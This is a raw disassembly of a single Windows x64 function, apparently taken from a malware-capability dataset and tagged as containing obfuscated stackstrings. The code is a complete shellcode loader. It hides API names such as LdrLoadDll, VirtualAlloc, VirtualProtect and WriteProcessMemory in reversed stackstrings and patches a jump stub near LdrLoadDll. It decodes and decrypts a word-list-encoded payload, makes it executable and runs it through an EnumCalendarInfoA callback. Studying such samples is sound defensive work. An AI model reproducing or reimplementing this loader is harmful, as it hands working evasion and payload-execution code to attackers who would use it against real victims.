Function at 0x4017bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x21e0
call fcn.00405650
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00404280
lea rdx, [rbp + 0x2070]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x2040]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rbp + 0x2010]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
mov word [rbp + 0x1ff0], 0x6c
mov word [rbp + 0x1ff2], 0x6c
mov word [rbp + 0x1ff4], 0x64
mov word [rbp + 0x1ff6], 0x2e
mov word [rbp + 0x1ff8], 0x33
mov word [rbp + 0x1ffa], 0x32
mov word [rbp + 0x1ffc], 0x65
mov word [rbp + 0x1ffe], 0x73
mov word [rbp + 0x2000], 0x55
mov word [rbp + 0x2002], 0
mov word [rbp + 0x1fd0], 0x6c
mov word [rbp + 0x1fd2], 0x6c
mov word [rbp + 0x1fd4], 0x64
mov word [rbp + 0x1fd6], 0x2e
mov word [rbp + 0x1fd8], 0x32
mov word [rbp + 0x1fda], 0x33
mov word [rbp + 0x1fdc], 0x6c
mov word [rbp + 0x1fde], 0x65
mov word [rbp + 0x1fe0], 0x6e
mov word [rbp + 0x1fe2], 0x72
mov word [rbp + 0x1fe4], 0x65
mov word [rbp + 0x1fe6], 0x4b
mov word [rbp + 0x1fe8], 0
mov word [rbp + 0x1fb0], 0x6c
mov word [rbp + 0x1fb2], 0x6c
mov word [rbp + 0x1fb4], 0x64
mov word [rbp + 0x1fb6], 0x2e
mov word [rbp + 0x1fb8], 0x6c
mov word [rbp + 0x1fba], 0x6c
mov word [rbp + 0x1fbc], 0x64
mov word [rbp + 0x1fbe], 0x74
mov word [rbp + 0x1fc0], 0x6e
mov word [rbp + 0x1fc2], 0
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.0040172d
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.0040172d
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call fcn.0040172d
mov byte [rbp + 0x1fa5], 0x6c
mov byte [rbp + 0x1fa6], 0x6c
mov byte [rbp + 0x1fa7], 0x44
mov byte [rbp + 0x1fa8], 0x64
mov byte [rbp + 0x1fa9], 0x61
mov byte [rbp + 0x1faa], 0x6f
mov byte [rbp + 0x1fab], 0x4c
mov byte [rbp + 0x1fac], 0x72
mov byte [rbp + 0x1fad], 0x64
mov byte [rbp + 0x1fae], 0x4c
mov byte [rbp + 0x1faf], 0
mov byte [rbp + 0x1f9b], 0x6c
mov byte [rbp + 0x1f9c], 0x6c
mov byte [rbp + 0x1f9d], 0x64
mov byte [rbp + 0x1f9e], 0x2e
mov byte [rbp + 0x1f9f], 0x6c
mov byte [rbp + 0x1fa0], 0x6c
mov byte [rbp + 0x1fa1], 0x64
mov byte [rbp + 0x1fa2], 0x74
mov byte [rbp + 0x1fa3], 0x6e
mov byte [rbp + 0x1fa4], 0
mov byte [rbp + 0x1f8e], 0x6c
mov byte [rbp + 0x1f8f], 0x6c
mov byte [rbp + 0x1f90], 0x64
mov byte [rbp + 0x1f91], 0x2e
mov byte [rbp + 0x1f92], 0x32
mov byte [rbp + 0x1f93], 0x33
mov byte [rbp + 0x1f94], 0x6c
mov byte [rbp + 0x1f95], 0x65
mov byte [rbp + 0x1f96], 0x6e
mov byte [rbp + 0x1f97], 0x72
mov byte [rbp + 0x1f98], 0x65
mov byte [rbp + 0x1f99], 0x4b
mov byte [rbp + 0x1f9a], 0
lea rax, [rbp + 0x1fa5]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x1f9b]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x1f8e]
mov rcx, rax
call fcn.004016b0
lea rdx, [rbp + 0x1ff0]
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.004015e6
lea rdx, [rbp + 0x1fd0]
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.004015e6
lea rdx, [rbp + 0x1fb0]
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.004015e6
mov dword [rbp + 0x2070], 0x30
mov qword [rbp + 0x2078], 0
mov dword [rbp + 0x2088], 0x40
lea rax, [rbp + 0x20c0]
mov qword [rbp + 0x2080], rax
mov qword [rbp + 0x2090], 0
mov qword [rbp + 0x2098], 0
mov dword [rbp + 0x2040], 0x30
mov qword [rbp + 0x2048], 0
mov dword [rbp + 0x2058], 0x40
lea rax, [rbp + 0x20b0]
mov qword [rbp + 0x2050], rax
mov qword [rbp + 0x2060], 0
mov qword [rbp + 0x2068], 0
mov dword [rbp + 0x2010], 0x30
mov qword [rbp + 0x2018], 0
mov dword [rbp + 0x2028], 0x40
lea rax, [rbp + 0x20a0]
mov qword [rbp + 0x2020], rax
mov qword [rbp + 0x2030], 0
mov qword [rbp + 0x2038], 0
mov byte [rbp + 0x1f70], 0x41
mov byte [rbp + 0x1f71], 0x65
mov byte [rbp + 0x1f72], 0x6c
mov byte [rbp + 0x1f73], 0x64
mov byte [rbp + 0x1f74], 0x6e
mov byte [rbp + 0x1f75], 0x61
mov byte [rbp + 0x1f76], 0x48
mov byte [rbp + 0x1f77], 0x65
mov byte [rbp + 0x1f78], 0x6c
mov byte [rbp + 0x1f79], 0x75
mov byte [rbp + 0x1f7a], 0x64
mov byte [rbp + 0x1f7b], 0x6f
mov byte [rbp + 0x1f7c], 0x4d
mov byte [rbp + 0x1f7d], 0x74
mov byte [rbp + 0x1f7e], 0x65
mov byte [rbp + 0x1f7f], 0x47
mov byte [rbp + 0x1f80], 0
lea rax, [rbp + 0x1f70]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x1f8e]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x1f70]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2150], rax
mov byte [rbp + 0x1f61], 0x73
mov byte [rbp + 0x1f62], 0x73
mov byte [rbp + 0x1f63], 0x65
mov byte [rbp + 0x1f64], 0x72
mov byte [rbp + 0x1f65], 0x64
mov byte [rbp + 0x1f66], 0x64
mov byte [rbp + 0x1f67], 0x41
mov byte [rbp + 0x1f68], 0x63
mov byte [rbp + 0x1f69], 0x6f
mov byte [rbp + 0x1f6a], 0x72
mov byte [rbp + 0x1f6b], 0x50
mov byte [rbp + 0x1f6c], 0x74
mov byte [rbp + 0x1f6d], 0x65
mov byte [rbp + 0x1f6e], 0x47
mov byte [rbp + 0x1f6f], 0
lea rax, [rbp + 0x1f61]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x1f8e]
mov rdx, qword [rbp + 0x2150]
mov rcx, rax
call rdx
mov rcx, rax
lea rax, [rbp + 0x1f61]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2148], rax
mov byte [rbp + 0x1f54], 0x63
mov byte [rbp + 0x1f55], 0x6f
mov byte [rbp + 0x1f56], 0x6c
mov byte [rbp + 0x1f57], 0x6c
mov byte [rbp + 0x1f58], 0x41
mov byte [rbp + 0x1f59], 0x6c
mov byte [rbp + 0x1f5a], 0x61
mov byte [rbp + 0x1f5b], 0x75
mov byte [rbp + 0x1f5c], 0x74
mov byte [rbp + 0x1f5d], 0x72
mov byte [rbp + 0x1f5e], 0x69
mov byte [rbp + 0x1f5f], 0x56
mov byte [rbp + 0x1f60], 0
lea rax, [rbp + 0x1f54]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x1f8e]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x1f54]
mov r8, qword [rbp + 0x2148]
mov rdx, rax
call r8
mov qword [rbp + 0x2140], rax
mov byte [rbp + 0x1f45], 0x74
mov byte [rbp + 0x1f46], 0x63
mov byte [rbp + 0x1f47], 0x65
mov byte [rbp + 0x1f48], 0x74
mov byte [rbp + 0x1f49], 0x6f
mov byte [rbp + 0x1f4a], 0x72
mov byte [rbp + 0x1f4b], 0x50
mov byte [rbp + 0x1f4c], 0x6c
mov byte [rbp + 0x1f4d], 0x61
mov byte [rbp + 0x1f4e], 0x75
mov byte [rbp + 0x1f4f], 0x74
mov byte [rbp + 0x1f50], 0x72
mov byte [rbp + 0x1f51], 0x69
mov byte [rbp + 0x1f52], 0x56
mov byte [rbp + 0x1f53], 0
lea rax, [rbp + 0x1f45]
mov rcx, rax
call fcn.004016b0
lea rax, [rbp + 0x1f8e]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x1f45]
mov r8, qword [rbp + 0x2148]
mov rdx, rax
call r8
mov qword [rbp + 0x2138], rax
lea rax, [rbp + 0x1f9b]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x1fa5]
mov r8, qword [rbp + 0x2148]
mov rdx, rax
call r8
mov qword [rbp + 0x2130], rax
mov byte [rbp + 0x1f43], 0x49
mov byte [rbp + 0x1f44], 0xbb
mov byte [rbp + 0x1f3b], 0xde
mov byte [rbp + 0x1f3c], 0xad
mov byte [rbp + 0x1f3d], 0xbe
mov byte [rbp + 0x1f3e], 0xef
mov byte [rbp + 0x1f3f], 0xde
mov byte [rbp + 0x1f40], 0xad
mov byte [rbp + 0x1f41], 0xbe
mov byte [rbp + 0x1f42], 0xef
mov byte [rbp + 0x1f37], 0x41
mov byte [rbp + 0x1f38], 0xff
mov byte [rbp + 0x1f39], 0xe3
mov byte [rbp + 0x1f3a], 0xc3
mov rax, qword [rbp + 0x2130]
add rax, 5
mov qword [rbp + 0x2128], rax
lea rax, [rbp + 0x1f3b]
mov rdx, qword [rbp + 0x2128]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2140]
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x13
mov ecx, 0
call rax
mov qword [rbp + 0x2120], rax
mov rax, qword [rbp + 0x2120]
mov r8d, 5
lea rdx, section..rdata
mov rcx, rax
call fcn.00401550
mov rax, qword [rbp + 0x2120]
lea rcx, [rax + 5]
lea rax, [rbp + 0x1f43]
mov r8d, 2
mov rdx, rax
call fcn.00401550
mov rax, qword [rbp + 0x2120]
lea rcx, [rax + 7]
lea rax, [rbp + 0x1f3b]
mov r8d, 8
mov rdx, rax
call fcn.00401550
mov rax, qword [rbp + 0x2120]
lea rcx, [rax + 0xf]
lea rax, [rbp + 0x1f37]
mov r8d, 4
mov rdx, rax
call fcn.00401550
mov dword [rbp + 0x1f30], 0
lea rdx, [rbp + 0x1f30]
mov rcx, qword [rbp + 0x2120]
mov rax, qword [rbp + 0x2138]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1e
call rax
mov rax, qword [rbp + 0x2120]
mov qword [rbp + 0x2118], rax
mov qword [rbp + 0x1f28], 0
lea rcx, [rbp + 0x1f28]
lea rdx, [rbp + 0x20c0]
mov rax, qword [rbp + 0x2118]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x1f20], 0
lea rcx, [rbp + 0x1f20]
lea rdx, [rbp + 0x20b0]
mov rax, qword [rbp + 0x2118]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x1f18], 0
lea rcx, [rbp + 0x1f18]
lea rdx, [rbp + 0x20a0]
mov rax, qword [rbp + 0x2118]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov rcx, qword [rbp + 0x1f20]
lea rax, [rbp + 0x1f61]
mov r8, qword [rbp + 0x2148]
mov rdx, rax
call r8
mov qword [rbp + 0x2110], rax
mov rcx, qword [rbp + 0x1f20]
lea rax, [rbp + 0x1f54]
mov r8, qword [rbp + 0x2110]
mov rdx, rax
call r8
mov qword [rbp + 0x2108], rax
mov rcx, qword [rbp + 0x1f20]
lea rax, [rbp + 0x1f45]
mov r8, qword [rbp + 0x2110]
mov rdx, rax
call r8
mov qword [rbp + 0x2100], rax
mov byte [rbp + 0x1f00], 0x79
mov byte [rbp + 0x1f01], 0x72
mov byte [rbp + 0x1f02], 0x6f
mov byte [rbp + 0x1f03], 0x6d
mov byte [rbp + 0x1f04], 0x65
mov byte [rbp + 0x1f05], 0x4d
mov byte [rbp + 0x1f06], 0x73
mov byte [rbp + 0x1f07], 0x73
mov byte [rbp + 0x1f08], 0x65
mov byte [rbp + 0x1f09], 0x63
mov byte [rbp + 0x1f0a], 0x6f
mov byte [rbp + 0x1f0b], 0x72
mov byte [rbp + 0x1f0c], 0x50
mov byte [rbp + 0x1f0d], 0x65
mov byte [rbp + 0x1f0e], 0x74
mov byte [rbp + 0x1f0f], 0x69
mov byte [rbp + 0x1f10], 0x72
mov byte [rbp + 0x1f11], 0x57
mov byte [rbp + 0x1f12], 0
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.004016b0
mov rcx, qword [rbp + 0x1f20]
lea rax, [rbp + 0x1f00]
mov r8, qword [rbp + 0x2110]
mov rdx, rax
call r8
mov qword [rbp + 0x20f8], rax
mov byte [rbp + 0x1ee0], 0x73
mov byte [rbp + 0x1ee1], 0x73
mov byte [rbp + 0x1ee2], 0x65
mov byte [rbp + 0x1ee3], 0x63
mov byte [rbp + 0x1ee4], 0x6f
mov byte [rbp + 0x1ee5], 0x72
mov byte [rbp + 0x1ee6], 0x50
mov byte [rbp + 0x1ee7], 0x74
mov byte [rbp + 0x1ee8], 0x6e
mov byte [rbp + 0x1ee9], 0x65
mov byte [rbp + 0x1eea], 0x72
mov byte [rbp + 0x1eeb], 0x72
mov byte [rbp + 0x1eec], 0x75
mov byte [rbp + 0x1eed], 0x43
mov byte [rbp + 0x1eee], 0x74
mov byte [rbp + 0x1eef], 0x65
mov byte [rbp + 0x1ef0], 0x47
mov byte [rbp + 0x1ef1], 0
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.004016b0
mov rcx, qword [rbp + 0x1f20]
lea rax, [rbp + 0x1ee0]
mov r8, qword [rbp + 0x2110]
mov rdx, rax
call r8
mov qword [rbp + 0x20f0], rax
lea rax, [rbp + 0x16e0]
lea rdx, str.colligation
mov ecx, 0x800
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
lea rax, [rbp + 0xbe0]
lea rdx, str.organ
mov ecx, 0xb00
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x215c], 0
jmp 0x4022de
mov dword [rbp + 0x2158], 0
jmp 0x4022cb
mov eax, dword [rbp + 0x2158]
cdqe
mov rdx, qword [rbp + rax*8 + 0x16e0]
mov eax, dword [rbp + 0x215c]
cdqe
mov rax, qword [rbp + rax*8 + 0xbe0]
cmp rdx, rax
jne 0x4022c4
mov eax, dword [rbp + 0x2158]
mov edx, eax
mov eax, dword [rbp + 0x215c]
cdqe
mov byte [rbp + rax + 0xe0], dl
jmp 0x4022d7
add dword [rbp + 0x2158], 1
cmp dword [rbp + 0x2158], 0xff
jle 0x402286
add dword [rbp + 0x215c], 1
mov eax, dword [rbp + 0x215c]
cmp eax, 0xaff
jbe 0x40227a
mov dword [rbp + 0x20ec], 0x160
movabs rax, 0x3954736f6c68434c
mov qword [rbp + 0xc0], rax
movabs rax, 0x3463485271747867
mov qword [rbp + 0xc8], rax
mov byte [rbp + 0xd0], 0
movabs rax, 0x526946426d324742
mov qword [rbp + 0xa0], rax
movabs rax, 0x7737665a61655962
mov qword [rbp + 0xa8], rax
mov byte [rbp + 0xb0], 0
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call fcn.0040306e
mov ecx, dword [rbp + 0x20ec]
lea rdx, [rbp + 0xe0]
lea rax, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call fcn.0040402d
mov eax, dword [rbp + 0x20ec]
mov qword [rbp + 0x20e0], rax
mov qword [rbp + 0x20d8], 0
mov byte [rbp - 0x40], 0x41
mov byte [rbp - 0x3f], 0x6f
mov byte [rbp - 0x3e], 0x66
mov byte [rbp - 0x3d], 0x6e
mov byte [rbp - 0x3c], 0x49
mov byte [rbp - 0x3b], 0x72
mov byte [rbp - 0x3a], 0x61
mov byte [rbp - 0x39], 0x64
mov byte [rbp - 0x38], 0x6e
mov byte [rbp - 0x37], 0x65
mov byte [rbp - 0x36], 0x6c
mov byte [rbp - 0x35], 0x61
mov byte [rbp - 0x34], 0x43
mov byte [rbp - 0x33], 0x6d
mov byte [rbp - 0x32], 0x75
mov byte [rbp - 0x31], 0x6e
mov byte [rbp - 0x30], 0x45
mov byte [rbp - 0x2f], 0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004016b0
mov rcx, qword [rbp + 0x1f20]
lea rax, [rbp - 0x40]
mov r8, qword [rbp + 0x2110]
mov rdx, rax
call r8
mov qword [rbp + 0x20d0], rax
mov rdx, qword [rbp + 0x20e0]
mov rax, qword [rbp + 0x2108]
mov r9d, 4
mov r8d, 0x3000
mov ecx, 0
call rax
mov qword [rbp + 0x20d8], rax
movabs rcx, 0xde0b6b3a7640859
call fcn.00401654
lea r8, [rbp - 0x44]
mov rdx, qword [rbp + 0x20e0]
mov rcx, qword [rbp + 0x20d8]
mov rax, qword [rbp + 0x2100]
mov r9, r8
mov r8d, 0x20
call rax
movabs rcx, 0xde0b6b3a7640801
call fcn.00401654
lea r8, [rbp - 0x44]
mov rdx, qword [rbp + 0x20e0]
mov rcx, qword [rbp + 0x20d8]
mov rax, qword [rbp + 0x2100]
mov r9, r8
mov r8d, 0x40
call rax
movabs rcx, 0xde0b6b3a76409b1
call fcn.00401654
mov ebx, dword [rbp + 0x20ec]
mov rax, qword [rbp + 0x20f0]
call rax
mov r10, rax
lea rcx, [rbp + 0xe0]
mov rdx, qword [rbp + 0x20d8]
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x20f8]
mov r9, rbx
mov r8, rcx
mov rcx, r10
call rax
mov rcx, qword [rbp + 0x20d8]
mov rax, qword [rbp + 0x20d0]
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
call rax
mov eax, 0
add rsp, 0x21e0
pop rbx
pop rdi
pop rbp
ret